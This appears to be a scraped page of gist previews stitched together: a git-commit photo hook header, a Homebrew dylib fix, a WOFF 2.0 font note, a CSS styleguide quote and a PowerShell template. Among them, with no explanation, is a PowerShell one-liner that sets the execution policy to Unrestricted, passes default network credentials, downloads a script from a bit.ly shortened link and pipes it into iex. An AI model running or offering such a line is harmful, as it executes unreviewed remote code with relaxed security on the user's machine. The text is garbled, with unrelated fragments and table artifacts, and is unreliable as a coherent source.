| #!/bin/sh | |
| # | |
| # Take a photo of you, whenever you make a commit | |
| # | |
| # This is an improved version of Víctor Martínez original post: | |
| # http://coderwall.com/p/xlatfq | |
| # | |
| # Improvements: |
| Set-ExecutionPolicy -ExecutionPolicy Unrestricted;$a=new-object net.webclient;$a.proxy.credentials=[system.net.credentialcache]::defaultnetworkcredentials;$a.downloadstring('http://bit.ly/OKgXHP')|iex |
| #!/usr/bin/env ruby | |
| # | |
| # Homebrew fix 1 - osxfuse dylibs | |
| # | |
| # original solutions: https://gist.github.com/aaronzirbes/3239033 | |
| # https://gist.github.com/trinitronx/5437061 | |
| # | |
| # Fixes the following: | |
| # | |
| # > Warning: Unbrewed dylibs were found in /usr/local/lib. |
Google Chrome Developers says:
The new WOFF 2.0 Web Font compression format offers a 30% average gain over WOFF 1.0 (up to 50%+ in some cases). WOFF 2.0 is available since Chrome 36 and Opera 23.
Some examples of file size differences: WOFF vs. WOFF2
Hello, visitors! If you want an updated version of this styleguide in repo form with tons of real-life examples… check out Trellisheets! https://github.com/trello/trellisheets
“I perfectly understand our CSS. I never have any issues with cascading rules. I never have to use !important or inline styles. Even though somebody else wrote this bit of CSS, I know exactly how it works and how to extend it. Fixes are easy! I have a hard time breaking our CSS. I know exactly where to put new CSS. We use all of our CSS and it’s pretty small overall. When I delete a template, I know the exact corresponding CSS file and I can delete it all at once. Nothing gets left behind.”
You often hear updog saying stuff like this. Who’s updog? Not much, who is up with you?
| #requires -version 4 | |
| <# | |
| .SYNOPSIS | |
| <Overview of script> | |
| .DESCRIPTION | |
| <Brief description of script> | |
| .PARAMETER <Parameter_Name> | |
| <Brief description of parameter input required. Repeat this attribute if required> |

